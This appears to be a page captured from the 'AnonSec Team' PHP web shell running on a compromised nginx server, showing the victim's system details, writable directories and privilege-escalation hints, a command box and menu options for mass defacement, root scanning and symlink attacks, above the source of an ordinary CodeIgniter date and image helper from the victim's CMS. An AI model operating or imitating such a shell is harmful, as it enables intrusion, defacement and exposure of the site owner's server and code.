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/  Your IP : 104.23.243.117   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/karina/prd/cms/apps/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/karina/prd/cms/apps/helpers/MY_url_helper.php
<?php
function assets_url($path, $witch_assets='assets')
{
	$asset = ($witch_assets == 'bower')?'bower_components':$witch_assets;
	return base_url($asset.'/'.$path);
} 

function date_to_path($datetime)
{
	$date = explode(' ', $datetime);
	$date_split = explode('-', $date[0]);
	return implode('/', $date_split);
}

function new_date_id($date) {
    $date3 = explode('-', $date);
    $date2 = explode('/', $date3[0]);
    $month = array(
        "",
        "Januari", 
        "Februari", 
        "Maret",
        "April",
        "Mei",
        "Juni",
        "Juli",
        "Agustus",
        "September",
        "Oktober",
        "November",
        "Desember");
    if($date2[1] == 10 or $date2[1] == 11 or $date2[1] == 12){
        $month1 = $date2[1];
    }
    else{
        $month1 = str_replace("0","",$date2[1]);
    }
    
    $month2 = $month[$month1];

    return $date2[2].' '.$month2.' '.$date2[0];
}

function new_date_en($date) {
    $date2 = explode('-', $date);
    $month = array(
        "",
        "January", 
        "February", 
        "March",
        "April",
        "May",
        "June",
        "July",
        "August",
        "September",
        "October",
        "November",
        "December");
    if($date2[1] == 10 or $date2[1] == 11 or $date2[1] == 12){
        $month1 = $date2[1];
    }
    else{
        $month1 = str_replace("0","",$date2[1]);
    }
    
    $month2 = $month[$month1];

    return $month2.' '.$date2[2].', '.$date2[0];
}

function image_url($path)
{
	return base_url('uploads'.'/'.$path);
}

function makelink($s) {
	$string = $s;
    //$url = '@(https?://([-\w\.]+)+(:\d+)?(/([\w/_\.-]*(\?\S+)?)?)?)@';  
    //$string = preg_replace($url, '<a href="$0" target="_blank" title="$0">$0</a>', $string);
    return $string;
}

function thumb($fullname, $width, $height)
{
    // Path to image thumbnail in your root
    $dir = './uploads/files/';
    $dir_new = './uploads/files_new/';
    $url = base_url() . 'uploads/files_new/';
    // Get the CodeIgniter super object
    $CI = &get_instance();
    // get src file's extension and file name
    $extension = pathinfo($fullname, PATHINFO_EXTENSION);
    $filename = pathinfo($fullname, PATHINFO_FILENAME);
    $image_org = $dir . $filename . "." . $extension;
    $image_thumb = $dir_new . $filename . "-" . $height . '_' . $width . "." . $extension;
    $image_returned = $url . $filename . "-" . $height . '_' . $width . "." . $extension;

    if (!file_exists($image_thumb)) {
        // LOAD LIBRARY
        $CI->load->library('image_lib');
        // CONFIGURE IMAGE LIBRARY
        $config['source_image'] = $image_org;
        $config['new_image'] = $image_thumb;
        $config['width'] = $width;
        $config['height'] = $height;
        $CI->image_lib->initialize($config);
        $CI->image_lib->resize();
        $CI->image_lib->clear();
    }
    return $image_returned;
}
function thumb_user($fullname, $width, $height)
{
    // Path to image thumbnail in your root
    $dir = './uploads/users/';
    $url = base_url() . '/uploads/users/';
    // Get the CodeIgniter super object
    $CI = &get_instance();
    // get src file's extension and file name
    $extension = pathinfo($fullname, PATHINFO_EXTENSION);
    $filename = pathinfo($fullname, PATHINFO_FILENAME);
    $image_org = $dir . $filename . "." . $extension;
    $image_thumb = $dir . $filename . "-" . $height . '_' . $width . "." . $extension;
    $image_returned = $url . $filename . "-" . $height . '_' . $width . "." . $extension;

    if (!file_exists($image_thumb)) {
        // LOAD LIBRARY
        $CI->load->library('image_lib');
        // CONFIGURE IMAGE LIBRARY
        $config['source_image'] = $image_org;
        $config['new_image'] = $image_thumb;
        $config['width'] = $width;
        $config['height'] = $height;
        $CI->image_lib->initialize($config);
        $CI->image_lib->resize();
        $CI->image_lib->clear();
    }
    return $image_returned;
}

function date_full($date) {
    $date1 = explode('/', $date);
    $month = array(
        "",
        "Januari", 
        "Februari", 
        "Maret",
        "April",
        "Mei",
        "Juni",
        "Juli",
        "Agustus",
        "September",
        "Oktober",
        "November",
        "Desember");
    if($date1[0] == 10 or $date1[0] == 11 or $date1[0] == 12){
        $month1 = $date1[0];
    }
    else{
        $month1 = str_replace("0","",$date1[0]);
    }
    
    $month2 = $month[$month1];

    echo $date1[1].' '.$month2.' '.$date1[2];
}

function date_full_dua($date) {
    $date1 = explode('/', $date);
    $month = array(
        "",
        "January", 
        "February", 
        "March",
        "April",
        "May",
        "June",
        "July",
        "August",
        "September",
        "October",
        "November",
        "December");
    if($date1[1] == 10 or $date1[1] == 11 or $date1[1] == 12){
        $month1 = $date1[1];
    }
    else{
        $month1 = str_replace("0","",$date1[1]);
    }
    
    $month2 = $month[$month1];

    return $date1[2].' '.$month2.' '.$date1[0];
}
function date_month($date) {
    $new_month = $date;
    $new_month = ltrim($new_month, '0');
    $new_month = $new_month - 1;
    $month = array(
        "Januari", 
        "Februari", 
        "Maret",
        "April",
        "Mei",
        "Juni",
        "Juli",
        "Agustus",
        "September",
        "Oktober",
        "November",
        "Desember");
    $month_text = $month[$new_month];
    return $month_text;

    
    //echo $new_month;
}
function the_day($day) {
    $day_array = array(
        "Sun" => "Minggu", 
        "Mon" => "Senin", 
        "Tue" => "Selasa", 
        "Wed" => "Rabu", 
        "Thu" => "Kamis", 
        "Fri" => "Jumat", 
        "Sat" => "Sabtu", 
    );
    $day_text = $day_array[$day];
    return $day_text;

    
    //echo $new_month;
}
function file_up($pic) {
    $ext = pathinfo($pic, PATHINFO_EXTENSION);

    if($ext=="png" or $ext=="PNG" or $ext=="jpg" or $ext=="jpeg" or $ext=="gif" or $ext=="JPG"){
        echo'<a href="'.image_url('files/').$pic.'" target="_blank" data-fancybox="gallery" data-srcset="'.image_url('files/').$pic.'" data-caption="&lt;a href=&quot;'.image_url('files/').$pic.'&quot; target=&quot;_blank &quot;&gt;Unduh File&lt;/a&gt;">
            <div class="ratio1_1 box_img">
                <div class="img_con lqd">
                    <img src="'.image_url('files/').$pic.'" alt="">
                </div>
            </div>
        </a>';
        //<img src="'.thumb($pic, 200, 0).'" alt="">
    }
    else {
        echo' <a href="'.image_url('files/').$pic.'" target="_blank">
            <div class="ratio1_1 box_img lqd">
                <div class="img_con lqd"><img src="'.assets_url('img/f_').$ext.'.png'.'"></div>
            </div>
        </a>';
    }
}
function str_replace_text($text) {
    $findArr = array(
                "-",
                "!",
                '"', 
                "'"
            );
    $replaceArr   = array(
                "&#45;",
                "&#33;",
                "&#34;",
                "&#039;"
            );

    $text2 = str_replace($findArr, $replaceArr, $text);
    //echo $text2;
    return $text2;
}
function str_replace_img($text) {
    $findArr = array(" - "," ","  ", "[", "]","&","+","!");
    $replaceArr   = array("_","_","_","_", "_","_","_","_");

    $text2 = str_replace($findArr, $replaceArr, $text);
    //echo $text2;
    return $text2;
}

function str_replace_encode($text) {
    $findArr   = array(
                "&#45;",
                "&#33;",
                "&#34;",
                "&#039;"
            );
    $replaceArr = array(
                "-",
                "!",
                '"', 
                "'"
            );
    

    $text2 = str_replace($findArr, $replaceArr, $text);
    //echo $text2;
    return $text2;
}
function str_replace_url($text) {
    $findArr   = array('<','>','"');
    $replaceArr = array('&#60;','&#62;','&#34;');

    $text2 = str_replace($findArr, $replaceArr, $text);
    //echo $text2;
    return $text2;
}

function str_replace_rehtml($text) {
    $replaceArr   = array('<','>','"');
    $findArr = array('&#60;','&#62;','&#34;');

    $text2 = str_replace($findArr, $replaceArr, $text);
    //echo $text2;
    return $text2;
}
function str_replace_url_input($text) {
    $findArr = array(
                " ",
                "-",
                "!",
                '"', 
                "'",
                "?",
                "$",
                "&",
                "*",
                "(",
                ")",
                "[",
                "]",
                "{",
                "}",
                "@",
                "#",
                "^",
                "%",
                "+",
                ","
            );
    $replaceArr   = "-";

    $text2 = str_replace($findArr, $replaceArr, $text);
    return $text2;
}

Anon7 - 2022
AnonSec Team